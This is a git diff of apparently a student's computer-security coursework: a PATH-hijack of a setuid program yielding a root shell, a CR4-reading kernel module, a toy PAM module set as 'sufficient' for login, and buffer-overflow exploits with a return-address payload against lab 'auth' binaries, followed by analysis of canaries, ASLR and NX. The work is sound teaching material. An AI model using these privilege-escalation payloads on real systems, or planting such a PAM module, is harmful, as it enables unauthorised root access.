diff options
-rw-r--r-- | CamilStaps-s4498062-Assignment-2/ex1/ex1.txt | 21 | ||||
-rw-r--r-- | CamilStaps-s4498062-Assignment-2/ex2/Makefile | 8 | ||||
-rw-r--r-- | CamilStaps-s4498062-Assignment-2/ex2/ex2.txt | 20 | ||||
-rw-r--r-- | CamilStaps-s4498062-Assignment-2/ex2/hello-cr4.c | 22 | ||||
-rw-r--r-- | CamilStaps-s4498062-Assignment-2/ex3/Makefile | 5 | ||||
-rw-r--r-- | CamilStaps-s4498062-Assignment-2/ex3/login | 3 | ||||
-rw-r--r-- | CamilStaps-s4498062-Assignment-2/ex3/pam_questions.c | 72 | ||||
-rw-r--r-- | CamilStaps-s4498062-Assignment-3/ex1 | 16 | ||||
-rw-r--r-- | CamilStaps-s4498062-Assignment-3/ex2 | 50 | ||||
-rw-r--r-- | CamilStaps-s4498062-Assignment-3/ex3 | 98 | ||||
-rw-r--r-- | CamilStaps-s4498062-Assignment-3/ex4 | 47 | ||||
-rw-r--r-- | CamilStaps-s4498062-Assignment-3/ex5 | 43 |
12 files changed, 405 insertions, 0 deletions
diff --git a/CamilStaps-s4498062-Assignment-2/ex1/ex1.txt b/CamilStaps-s4498062-Assignment-2/ex1/ex1.txt new file mode 100644 index 0000000..28c5e20 --- /dev/null +++ b/CamilStaps-s4498062-Assignment-2/ex1/ex1.txt @@ -0,0 +1,21 @@ +a + Using strace -feprocess ./showdate we see the following interesting calls: + execve("/bin/sh", ["sh", "-c", "date"], [/* 37 vars */]) + execve("/bin/date", ["date"], [/* 37 vars */]) + +b + $ ln -s /bin/sh date + $ export PATH=.:$PATH + $ ./showdate + # id + uid=0(root) gid=0(root) groups=0(root),27(sudo),1001(camil) + +c + - Simply don't use execve for something as simple as this. + - The currently used system call is: + execve("/bin/sh", ["sh, "-c", "date"], [/* 37 vars */]) + This could be changed to: + execve("/bin/date", ...) + A nonprivileged user cannot change /bin/date. + - Drop privileges before executing execve. + diff --git a/CamilStaps-s4498062-Assignment-2/ex2/Makefile b/CamilStaps-s4498062-Assignment-2/ex2/Makefile new file mode 100644 index 0000000..a87a542 --- /dev/null +++ b/CamilStaps-s4498062-Assignment-2/ex2/Makefile @@ -0,0 +1,8 @@ +obj-m += hello-cr4.o + +all: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules + +clean: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean + diff --git a/CamilStaps-s4498062-Assignment-2/ex2/ex2.txt b/CamilStaps-s4498062-Assignment-2/ex2/ex2.txt new file mode 100644 index 0000000..35afd58 --- /dev/null +++ b/CamilStaps-s4498062-Assignment-2/ex2/ex2.txt @@ -0,0 +1,20 @@ +a + According to https://en.wikipedia.org/wiki/Control_register#CR4, the SMAP and SMEP bits are used to protect ring 0. + If writing to CR4 would be allowed, we could disable this protection, and access kernel space data (e.g.) + +b + 0x40050e <main+8> mov %cr4,%rax + + This attempts to move the RAX register to the CR4 register, i.e. to write to CR4. + +c + Done. I suppose it isn't necessary to give you the code or results, as all was needed was copying from the given website. + +d + See hello-cr4.c and Makefile. + + # make + [..] + # insmod hello-cr4.ko + [15892.352286] Hello world! CR4 = 7f0 + diff --git a/CamilStaps-s4498062-Assignment-2/ex2/hello-cr4.c b/CamilStaps-s4498062-Assignment-2/ex2/hello-cr4.c new file mode 100644 index 0000000..9db671d --- /dev/null +++ b/CamilStaps-s4498062-Assignment-2/ex2/hello-cr4.c @@ -0,0 +1,22 @@ +#include <linux/module.h> +#include <linux/kernel.h> +#include <linux/init.h> + +MODULE_LICENSE("GPL"); +MODULE_AUTHOR("Camil Staps"); +MODULE_DESCRIPTION("A Simple Hello World module"); + +static int __init hello_init(void) { + unsigned long long result; + __asm__("movq %%cr4, %%rax\n" : "=a"(result)); + printk(KERN_INFO "Hello world! CR4 = %11x\n", result); + return 0; +} + +static void __exit hello_cleanup(void) { + printk(KERN_INFO "Cleaning up module.\n"); +} + +module_init(hello_init); +module_exit(hello_cleanup); + diff --git a/CamilStaps-s4498062-Assignment-2/ex3/Makefile b/CamilStaps-s4498062-Assignment-2/ex3/Makefile new file mode 100644 index 0000000..7ff3de0 --- /dev/null +++ b/CamilStaps-s4498062-Assignment-2/ex3/Makefile @@ -0,0 +1,5 @@ +all: + gcc -fPIC -DPIC -shared -rdynamic -o pam_questions.so pam_questions.c + cp pam_questions.so /lib/security + chown root:root /lib/security/pam_questions.so + chmod 755 /lib/security/pam_questions.so diff --git a/CamilStaps-s4498062-Assignment-2/ex3/login b/CamilStaps-s4498062-Assignment-2/ex3/login new file mode 100644 index 0000000..3e1c3cb --- /dev/null +++ b/CamilStaps-s4498062-Assignment-2/ex3/login @@ -0,0 +1,3 @@ +# PAM configuration file +auth sufficient pam_questions.so + diff --git a/CamilStaps-s4498062-Assignment-2/ex3/pam_questions.c b/CamilStaps-s4498062-Assignment-2/ex3/pam_questions.c new file mode 100644 index 0000000..b93dc4e --- /dev/null +++ b/CamilStaps-s4498062-Assignment-2/ex3/pam_questions.c @@ -0,0 +1,72 @@ +/* Source code from http://www.rkeene.org/projects/info/wiki/222, adapted by Camil Staps */ + +/* Define which PAM interfaces we provide */ +#define PAM_SM_ACCOUNT +#define PAM_SM_AUTH +#define PAM_SM_PASSWORD +#define PAM_SM_SESSION + +/* Include PAM headers */ +#include <security/pam_appl.h> +#include <security/pam_modules.h> + +/* Other headers */ +#include <time.h> +#include <stdlib.h> +#include <stdio.h> + +/* Our questions and answers */ +const char * const q[5] = { + "6*7", + "the answer to life the universe and everything", + "'forty two' in numbers", + "the meaning of 'efa-polo roa' in Malagasi", + "not 54" }; +const char a[5] = {42, 42, 42, 42, 42}; + +/* PAM entry point for session creation */ +int pam_sm_open_session(pam_handle_t *pamh, int flags, int argc, const char **argv) { + return(PAM_IGNORE); +} + +/* PAM entry point for session cleanup */ +int pam_sm_close_session(pam_handle_t *pamh, int flags, int argc, const char **argv) { + return(PAM_IGNORE); +} + +/* PAM entry point for accounting */ +int pam_sm_acct_mgmt(pam_handle_t *pamh, int flags, int argc, const char **argv) { + return(PAM_IGNORE); +} + +/* PAM entry point for authentication verification */ +int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv) { + const char* username; + pam_get_user(pamh, &username, NULL); + + srand(time(NULL)); + int r = rand() % 5; + printf("What is %s? ", q[r]); + int resp; + scanf("%d", &resp); + + if (resp == a[r]) { + return(PAM_SUCCESS); + } else { + return(PAM_AUTH_ERR); + } +} + +/* + PAM entry point for setting user credentials (that is, to actually + establish the authenticated user's credentials to the service provider) +*/ +int pam_sm_setcred(pam_handle_t *pamh, int flags, int argc, const char **argv) { + return(PAM_IGNORE); +} + +/* PAM entry point for authentication token (password) changes */ +int pam_sm_chauthtok(pam_handle_t *pamh, int flags, int argc, const char **argv) { + return(PAM_IGNORE); +} + diff --git a/CamilStaps-s4498062-Assignment-3/ex1 b/CamilStaps-s4498062-Assignment-3/ex1 new file mode 100644 index 0000000..5221f4d --- /dev/null +++ b/CamilStaps-s4498062-Assignment-3/ex1 @@ -0,0 +1,16 @@ +$ mkdir dir1 dir2 +$ for i in {1..3}; do touch "dir1/file$i"; done +$ for i in {4..6}; do touch "dir2/file$i"; done +$ sudo chmod 700 * +$ sudo chmod 600 */* +$ setfacl -m user:test1:rwx * +$ setfacl -m user:test2:r-x dir1 +$ setfacl -m user:test2:r-- dir1/* +$ setfacl -m user:test3:r-x dir1 +$ setfacl -m user:test3:r-- dir1 dir1/* +$ setfacl -m user:test3:rw- dir1/file1 +$ setfacl -m user:test3:r-x dir1/file2 +$ setfacl -m user:test4:-wx dir2 +$ setfacl -m user:test5:--x * +$ setfacl -m user:test5:rwx */* + diff --git a/CamilStaps-s4498062-Assignment-3/ex2 b/CamilStaps-s4498062-Assignment-3/ex2 new file mode 100644 index 0000000..1a43891 --- /dev/null +++ b/CamilStaps-s4498062-Assignment-3/ex2 @@ -0,0 +1,50 @@ +a + If there is no cli argument, the program aborts. + Otherwise, checkpass() is called with the argument. + The crypt library is used to compute a hash of the argument with some salt. + According to http://www.gnu.org/software/libc/manual/html_node/crypt.html, + the best way to recover the password is to launch a brute force attack. + +b + Before strcpy, the stack is 'normal': + + ... + (gdb) ni + 0x0000000000400840 14 strcpy(password,input); + ... + => 0x0000000000400840 <checkpass+42>: e8 2b fe ff ff call 0x400670 <strcpy@plt> + (gdb) x /64bx $rsp + 0x7ffe8a0fdd60: 0x78 0x5d 0x3b 0xaf 0x29 0x7f 0x00 0x00 + 0x7ffe8a0fdd68: 0x53 0xf4 0x0f 0x8a 0xfe 0x7f 0x00 0x00 + 0x7ffe8a0fdd70: 0x00 0x00 0x00 0x00 0x01 0x00 0x00 0x00 + 0x7ffe8a0fdd78: 0x30 0x08 0x00 0x00 0x01 0x00 0x00 0x00 + 0x7ffe8a0fdd80: 0xb0 0xde 0x0f 0x8a 0xfe 0x7f 0x00 0x00 + 0x7ffe8a0fdd88: 0x38 0x4f 0xba 0xaf 0x29 0x7f 0x00 0x00 + 0x7ffe8a0fdd90: 0xe0 0xde 0x0f 0x8a 0xfe 0x7f 0x00 0x00 + 0x7ffe8a0fdd98: 0x00 0x75 0xba 0xaf 0x29 0x7f 0x00 0x00 + + But, because we're copying more characters than `password` can hold, after + strcpy, the stack is corrupted: + + (gdb) ni + ... + (gdb) x /64bx $rsp + 0x7ffe8a0fdd60: 0x78 0x5d 0x3b 0xaf 0x29 0x7f 0x00 0x00 + 0x7ffe8a0fdd68: 0x53 0xf4 0x0f 0x8a 0xfe 0x7f 0x00 0x00 + 0x7ffe8a0fdd70: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 + 0x7ffe8a0fdd78: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 + 0x7ffe8a0fdd80: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 + 0x7ffe8a0fdd88: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 + 0x7ffe8a0fdd90: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 + 0x7ffe8a0fdd98: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 + + In particular, the value of `correct` is now 0x41: + + (gdb) x &correct + 0x7ffe8a0fde8f: 0x41 + + which is truthy. + The hash is computed normally, the strcmp call evaluates to non-zero, so the + string `ERROR: password incorrect` is printed, however, correct stays false. + Because of this, a root shell is started. + diff --git a/CamilStaps-s4498062-Assignment-3/ex3 b/CamilStaps-s4498062-Assignment-3/ex3 new file mode 100644 index 0000000..d1da7dc --- /dev/null +++ b/CamilStaps-s4498062-Assignment-3/ex3 @@ -0,0 +1,98 @@ +a + $ ./auth0 $(python -c 'print "A"*512') + ERROR: password incorrect + Segmentation fault + +b + With optimisation, `correct` isn't really a variable anymore. The + compiler recognises the moments it can change (i.e. at definition time + and after the strcmp), and when it is used (the last if), and manages + to do the same without the variable. + + It now uses code similar to the following control flow: + + if (strcmp(hash1,hash2) == 0) { + printf("Starting root shell\n"); + setuid(0); + setgid(0); + system("/bin/sh"); + } else { + printf("ERROR: password incorrect\n"); + } + + So, `correct` has been eliminated. Therefore, the buffer overflow + attack doesn't work anymore: there is no variable to overwrite. + + We can see this in auth3.s. The `bool correct = false;` statement doesn't + translate to anything in assembly, while it does in auth0.s. + + More interestingly, we can see the control flow: + + 19:auth.c **** if (strcmp(hash1,hash2) == 0) { + 99 .loc 1 19 0 + 100 001f BF000000 mov edi, OFFSET FLAT:.LC1 # tmp90, + 100 00 + 101 0024 B96B0000 mov ecx, 107 # tmp91, + 101 00 + 102 0029 4889C6 mov rsi, rax # hash1, hash1 + 103 .LBE7: + 104 002c F3A6 repz cmpsb + 105 .LVL4: + 106 002e 7530 jne .L6 #, + 107 .LVL5: + 108 .LBB8: + 109 .LBB9: + 20:auth.c **** correct = true; + 21:auth.c **** } else { + 22:auth.c **** printf("ERROR: password incorrect\n"); + 23:auth.c **** } + 24:auth.c **** + 25:auth.c **** if (correct) { + 26:auth.c **** printf("Starting root shell\n"); + 110 .loc 1 26 0 + 111 0030 BF000000 mov edi, OFFSET FLAT:.LC3 #, + 111 00 + 112 0035 E8000000 call puts # + 112 00 + 113 .LVL6: + 27:auth.c **** setuid(0); + 114 .loc 1 27 0 + 115 003a 31FF xor edi, edi # + 116 003c E8000000 call setuid # + 116 00 + + The jump in 106 goes to .L6 where the error printf assembly is stored: + + 22:auth.c **** } + 138 .loc 1 22 0 + 139 0060 BF000000 mov edi, OFFSET FLAT:.LC2 #, + 139 00 + 140 0065 E8000000 call puts # + 140 00 + + If we don't jump (i.e. if the result from strcmp was 0), we continue in + .LVL5, .LBB8, .LBB9 where we printf "Starting root shell" and after do + the set{u,g}id stuff and start the root shell. + + In auth0.s we see a control flow that stays much closer to the C code. + There is an actual variable `correct` which is set if the strcmp returns 0: + + 19:auth.c **** if (strcmp(hash1,hash2) == 0) { + 76 .loc 1 19 0 + 77 004f 488B55E8 mov rdx, QWORD PTR [rbp-24] # tmp88, hash2 + 78 0053 488B45F0 mov rax, QWORD PTR [rbp-16] # tmp89, hash1 + 79 0057 4889D6 mov rsi, rdx #, tmp88 + 80 005a 4889C7 mov rdi, rax #, tmp89 + 81 005d E8000000 call strcmp # + 81 00 + 82 0062 85C0 test eax, eax # D.3514 + 83 0064 7506 jne .L2 #, + 20:auth.c **** correct = true; + 84 .loc 1 20 0 + 85 0066 C645FF01 mov BYTE PTR [rbp-1], 1 # correct, + + Finally: the compiler changes the control flow because it is more efficient. + In this case, I think, it is both timewise and spacewise more efficient: we + store one bool less, and also don't lose time in setting and checking its + value. + diff --git a/CamilStaps-s4498062-Assignment-3/ex4 b/CamilStaps-s4498062-Assignment-3/ex4 new file mode 100644 index 0000000..47214a6 --- /dev/null +++ b/CamilStaps-s4498062-Assignment-3/ex4 @@ -0,0 +1,47 @@ +a + That would be 0x40085a. + +b + Done. That gives a root shell: + + $ ./auth "$(python -c 'import struct; print "A"*264+struct.pack("<Q",0x40085a)')" + ERROR: password incorrect + # + Segmentation fault + +c + The return address of checkpass has been overwritten with the address of the + setuid call. So, after executing checkpass as normally, we 'return' to that + setuid call. This explains why we don't read "Starting root shell". + + (gdb) ... + 0x000000000040082d 14 strcpy(password,input); + 0x000000000040082a <checkpass+10>: 48 89 e7 mov rdi,rsp + => 0x000000000040082d <checkpass+13>: e8 0e fe ff ff call 0x400640 <strcpy@plt> + (gdb) x /64bx ($rsp+256) + 0x7ffe5af18c50: 0x40 0x8d 0xf1 0x5a 0xfe 0x7f 0x00 0x00 + --> 0x7ffe5af18c58: 0xf2 0x06 0x40 0x00 0x00 0x00 0x00 0x00 + 0x7ffe5af18c60: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 + 0x7ffe5af18c68: 0x45 0x9b 0x05 0x5d 0xdc 0x7f 0x00 0x00 + 0x7ffe5af18c70: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 + 0x7ffe5af18c78: 0x48 0x8d 0xf1 0x5a 0xfe 0x7f 0x00 0x00 + 0x7ffe5af18c80: 0x00 0x00 0x00 0x00 0x02 0x00 0x00 0x00 + 0x7ffe5af18c88: 0xe0 0x06 0x40 0x00 0x00 0x00 0x00 0x00 + (gdb) ni + 15 hash1 = crypt(password,"$6$1122334455667788$"); + => 0x0000000000400832 <checkpass+18>: be 24 09 40 00 mov esi,0x400924 + 0x0000000000400837 <checkpass+23>: 48 89 e7 mov rdi,rsp + 0x000000000040083a <checkpass+26>: e8 41 fe ff ff call 0x400680 <crypt@plt> + (gdb) x /64bx ($rsp+256) + 0x7ffe5af18c50: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 + --> 0x7ffe5af18c58: 0x5a 0x08 0x40 0x00 0x00 0x00 0x00 0x00 + 0x7ffe5af18c60: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 + 0x7ffe5af18c68: 0x45 0x9b 0x05 0x5d 0xdc 0x7f 0x00 0x00 + 0x7ffe5af18c70: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 + 0x7ffe5af18c78: 0x48 0x8d 0xf1 0x5a 0xfe 0x7f 0x00 0x00 + 0x7ffe5af18c80: 0x00 0x00 0x00 0x00 0x02 0x00 0x00 0x00 + 0x7ffe5af18c88: 0xe0 0x06 0x40 0x00 0x00 0x00 0x00 0x00 + + The relevant line is marked with -->. Before the strcpy, the correct return + address is there. After, there is our own address. + diff --git a/CamilStaps-s4498062-Assignment-3/ex5 b/CamilStaps-s4498062-Assignment-3/ex5 new file mode 100644 index 0000000..6b81c05 --- /dev/null +++ b/CamilStaps-s4498062-Assignment-3/ex5 @@ -0,0 +1,43 @@ +a + auth0 auth3 + "A"*512 (2b) stack smashing detected stack smashing detected + + Both failures are because of __stack_chk_fail@plt: + + 0x000000000040095d <checkpass+215>: e8 8e fd ff ff call 0x4006f0 <__stack_chk_fail@plt> + + and: + + 0x000000000040092c <checkpass+140>: e8 7f fd ff ff call 0x4006b0 <__stack_chk_fail@plt> + + Ret.addr (4b) stack smashing detected stack smashing detected + + Undoubtedly, this is due to something similar. + +b + $ cat /proc/sys/kernel/randomize_va_space + 2 + + So, yes, full randomisation. + + It helps, because we cannot find the right address anymore using objdump. + +c + Yes, then also the standard library addresses are randomised. + +d + $ objdump -p auth0 + + auth0: file format elf64-x86-64 + + Program Header: + ... + STACK off 0x0000000000000000 vaddr 0x0000000000000000 paddr 0x0000000000000000 align 2**4 + filesz 0x0000000000000000 memsz 0x0000000000000000 flags rw- + + As you can see, it has only rw permissions, not x. This helps, because otherwise we could + overwrite the stack with code, and overwrite the return address with a stack address to + execute our own code. + I don't see any advantage in this though, when stack protection is enabled (because then + it is infeasible to overwrite the return address and pass the checks), but I might be wrong. + |